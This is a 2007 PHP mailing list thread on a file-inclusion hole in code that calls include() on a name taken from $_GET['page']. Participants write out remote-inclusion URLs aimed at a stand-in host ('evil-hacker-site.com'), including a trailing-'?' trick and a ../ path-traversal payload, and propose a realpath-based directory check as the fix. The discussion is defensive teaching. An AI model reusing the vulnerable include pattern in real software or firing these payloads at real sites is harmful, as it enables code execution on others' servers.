> Date: Thu, 15 Nov 2007 13:16:46 +0000
> From: stuttle@xxxxxxxxx
> To: instructicc@xxxxxxxxxxx
> CC: php-general@xxxxxxxxxxxxx
> Subject: Re: file_exists
>
> Instruct ICC wrote:
> >
> >
> >> Date: Thu, 15 Nov 2007 00:20:52 +0000
> >> From: stuttle@xxxxxxxxx
> >> To: philthathril@xxxxxxxxx
> >> CC: php-general@xxxxxxxxxxxxx
> >> Subject: Re: file_exists
> >>
> >> Philip Thompson wrote:
> >>> I've run into similar problems where I *thought* I was looking in the
> >>> correct location... but I wasn't. Take this for example....
> >>>
> >>>> $page = $_GET['page'];
> >>> if (file_exists ("$page.php")) {
> >>> include ("$page.php");
> >>> }
> >>> ?>
> >> I really hope this is not a piece of production code. If it is then you
> >> might want to think very hard about what it's doing. If you still can't
> >> see a problem let me know!
> >>
> >> -Stut
> >>
> >> --
> >> http://stut.net/
> >>
> >> --
> >> PHP General Mailing List (http://www.php.net/)
> >> To unsubscribe, visit: http://www.php.net/unsub.php
> >>
> >
> > Called like this?
> >
> > index.php?page=http://evil-hacker-site.com/evil-payload.php
> >
> > And the browser will probably url_encode for me if needed.
>
> Actually in this example that would end up getting evil-payload.php.php
> - probably not what your evil mind wanted. You could do this...
>
> index.php?page=http://evil-hacker-site.com/evil-payload
>
> ...assuming you know it's gonna stick .php on the end. Alternatively you
> could do this...
>
> index.php?page=http://evil-hacker-site.com/evil-payload.php?
>
> Resulting in the appended .php being in the querystring. The easiest way
> to protect your code from this is to always always prefix the string
> with something as well as appending to it. For example...
>
> $page = dirname(__FILE__).'/'.$_GET['page'].'.php';
> if (file_exists ($page)) {
> include ($page);
> }
>
> But that doesn't prevent a malicious user including any PHP file on your
> server. $_GET['page'] should be one of a known set of values. At the
> very least it should be restricted to file in a particular directory.
>
> Something like the following would be much better (untested)...
>
> $page = realpath(dirname(__FILE__).'/inc/'.$_GET['page'].'.php');
> $expecteddir = realpath(dirname(__FILE__).'/inc');
> if (substr($page, 0, strlen($expecteddir)) != $expecteddir)
> {
> // Ideally return a 403 status here
> die('Access denied');
> }
> // Now we know it's a file in the right directory
> if (file_exists($page))
> {
> include($page);
> }
> else
> {
> // Return a 404 status here
> die('Resource not found');
> }
>
> That should lock the requested page to the given directory. If anyone
> can see any way around that I'd be interested in hearing about it.
>
> -Stut
>
> --
> http://stut.net/
Good points about (.php, evil-payload, and evil-payload.php?).
Although I'll defer to a security expert, your modification looks good to not include a remote site's code.
But on a shared host, what about this?:
index.php?page=../../../../../../../../../../../../home/evil-user-home-dir/evil-payload.php
If that gives something like:
$expecteddir === "/home/stut/phpstuff/inc/../../../../../../../../../../../../home/evil-user-home-dir/evil-payload.php"
maybe it will include "/home/evil-user-home-dir/evil-payload.php"
Maybe a switch statement that only uses the file name supplied by the script (whether or not an unknown user supplies an actual file name. I just did something like that today. I have a custom "ls" type PHP script and I want it to search 1 of 2 directories only. I check if the GET var is set; don't even look at the value, then do a custom "ls" on 1 or the other directory which is in the web path. The whole site is behind htaccess though, but I added this layer for this special "ls" function.
_________________________________________________________________
Help yourself to FREE treats served up daily at the Messenger Café. Stop by today.
http://www.cafemessenger.com/info/info_sweetstuff2.html?ocid=TXT_TAGLM_OctWLtagline
